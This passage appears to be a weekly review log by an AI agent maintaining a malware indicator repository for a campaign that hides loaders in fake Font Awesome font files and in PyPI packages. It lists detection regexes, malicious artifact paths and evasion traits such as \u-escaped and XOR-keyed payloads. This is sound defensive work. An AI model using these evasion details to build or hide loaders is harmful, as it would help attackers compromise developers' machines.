The font-vector indicators are one variant behind — narrowed, not closed. Carried forward from 2026-09-28. (^|/)fa-solid-[0-9]{3}\.llf$ is added this week and is the first entry that matches a variant currently in circulation, so the vector is no longer covered only by a 400-specific command string. What is still open is the larger half: the three .woff2 weights, which are live and which cannot go in an INFECTED-tier filename list because fa-solid-900.woff2 is a real Font Awesome name. Those need the weak path tier, or the regex content tier for the task command (node .*fa-solid-[0-9]{3}\.woff2). Until then a .woff2 variant is caught by the font-magic-bytes check alone, and only in ci/scan-workspace.sh.

No weak tier for filenames. Carried forward from 2026-09-28, blocked three additions again this week (~/.node_modules, /tmp/.pip, clr_init.vbs).

New gap: nothing in this repository matches a \u-escaped payload. Stated as technique 2 above and repeated here because it is a gap in what the set can do, not just a change the campaign made. An entire loader family — 18 of the 35 repositories SafeDep confirmed — is written so that grep -F against ioc/ finds nothing in it.

New gap: no Python-side coverage. Technique 7. Two PyPI package names are now in bad-packages.txt, which is a start and is not detection: nothing here looks for a .pth file, a ~/.local/bin/py, or a detached python -c process.

  • The sandbox can reach the package registries, and no previous entry knew it. registry.npmjs.org, pypi.org/pypi/<name>/json and the full pypi.org/simple/ index (46 MB uncompressed) all serve content here. That turns the substring check that has blocked eight package names into a mechanical test, and it is how this week’s five rejections were established rather than guessed. It also means npm dist-tags can be read directly, which is how the two corrected version ranges were confirmed. Worth re-verifying, like everything else in that table.
  • safedep.io and blog.deception.pro are reachable too. Neither appears in the standing appendix in either direction. safedep.io needs curl -L: the un-slashed URL returns 308 and a bare fetch gets an empty body. Its article pages embed the indicator CSV verbatim in a data-csv attribute on the download button, which is a better source than the rendered table — it is where the XOR-key boundary was settled byte for byte, with no column alignment to guess at.
  • medium.com returns 403. New entry for the blocked list. It cost this review the SlowMist report.
  • Two self-tests that have failed here for four weeks now pass. ci/selftest-restore.sh and ci/selftest-rewrite.sh both pass in this container, on this branch and in a worktree of unmodified origin/main. The standing appendix lists them as failing for want of git behaviour the sandbox does not provide; whatever that was, it is provided now. selftest-ui.sh still fails, identically on both, on the same single assertion — “the wordmark is 207 columns wide”, 59 passed, 1 failed. That one is a terminal width, not a defect.
  • shellcheck is still not installed. bash -n passes on every script. This change touches ioc/*.txt and Markdown only, with no shell code changed, so CI’s shellcheck gate is unaffected — but a future review making a code change still cannot validate it here.
  • The classification inconsistency the 2026-09-21 entry raised — TRON and Aptos endpoints in both weak.txt and network.txt, the Ethereum ones in weak.txt only — is unresolved and untouched. This week adds eight addresses to network.txt and nothing to the endpoint lists, so it neither improves nor worsens.
  • The OpenSSF clone is ~2.1 GB checked out. It was deleted immediately after the search, and the 55 records’ contents kept as a 144 KB JSON extract. A future reviewer wanting to repeat this should expect the disk cost and should not use --filter=blob:none, which makes the subsequent checkout fetch blobs one request at a time and never finishes.
  • One source contained an error worth recording. The OpenSSF record for tailwind-anim (MAL-2026-11500, Amazon Inspector) prints the operator wallet as 0xa322e5f3d311d3080e6f01210463e9adc2490ef1a — 41 hex characters, one too many, and not the address. The record’s own etherscan reference gives the correct form. Nothing was lifted from the mistyped string; noted because it is exactly the sort of thing that becomes an indicator that silently never matches.
  • No page, repository or document read during this review attempted to give the reviewer instructions. The Deception.Pro and OpenSourceMalware posts both carry recommendations addressed to developers, and the OpenSSF records carry the standard “treat the computer as fully compromised” advisory text; all of that is ordinary editorial content directed at readers, not at an agent, and none of it asked for anything outside this review’s scope.
  • The commits on this branch are unverified, for the reason the standing appendix documents: the container’s signing key is registered to Claude, and authoring as the maintainer — which is correct — yields unknown_key. Squash-merge resolves it; GitHub signs the squash commit itself.